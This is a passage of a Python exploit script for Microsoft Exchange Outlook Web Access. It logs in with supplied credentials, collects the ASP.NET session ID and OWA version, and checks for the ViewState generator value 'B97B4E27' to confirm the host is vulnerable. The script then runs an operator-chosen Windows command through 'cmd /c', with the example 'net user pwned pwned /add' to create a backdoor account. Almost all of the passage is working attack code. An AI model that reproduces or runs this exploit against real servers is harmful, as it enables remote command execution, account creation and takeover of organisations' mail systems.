'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()\n except: print('[!] Error, ' + sTarget + ' not reachable')\n bLoggedIn = False\n for cookie in oCookjar:\n if cookie.name == 'cadata': bLoggedIn = True\n if not bLoggedIn:\n print('[-] Login Wrong, too bad')\n exit(1)\n print('[+] Login worked')\n\n ## Verify Session ID\n sSessionId = ''\n sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()\n for cookie in oCookjar:\n if 'SessionId' in cookie.name: sSessionId = cookie.value\n print('[+] Got ASP.NET Session ID: ' + sSessionId)\n\n ## Verify OWA Version\n sVersion = ''\n try: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2]\n except: sVersion = 'favicon'\n if 'favicon' in sVersion:\n print('[*] Problem, this user has never logged in before (wizard detected)')\n print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')\n exit(1)\n print('[+] Detected OWA version number '+sVersion)\n\n ## Verify ViewStateValue\n sViewState = ''\n try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0]\n except: pass\n if sViewState == 'B97B4E27':\n print('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!')\n else:\n print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)\n ans = raw_input('[?] Still want to try the exploit? [y/N]: ')\n if ans == '' or ans.lower() == 'n': exit(1)\n return sSessionId, sTarget, sViewState\n \ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')\n parser.add_argument('-u', '--username', help='Username (e.g. joe or [email\u00a0protected])', default='')\n parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')\n parser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='')\n args = parser.parse_args()\n if args.target == '' or args.username == '' or args.command == '':\n print('[!] Example usage: ')\n print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"')\n else:\n if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')\n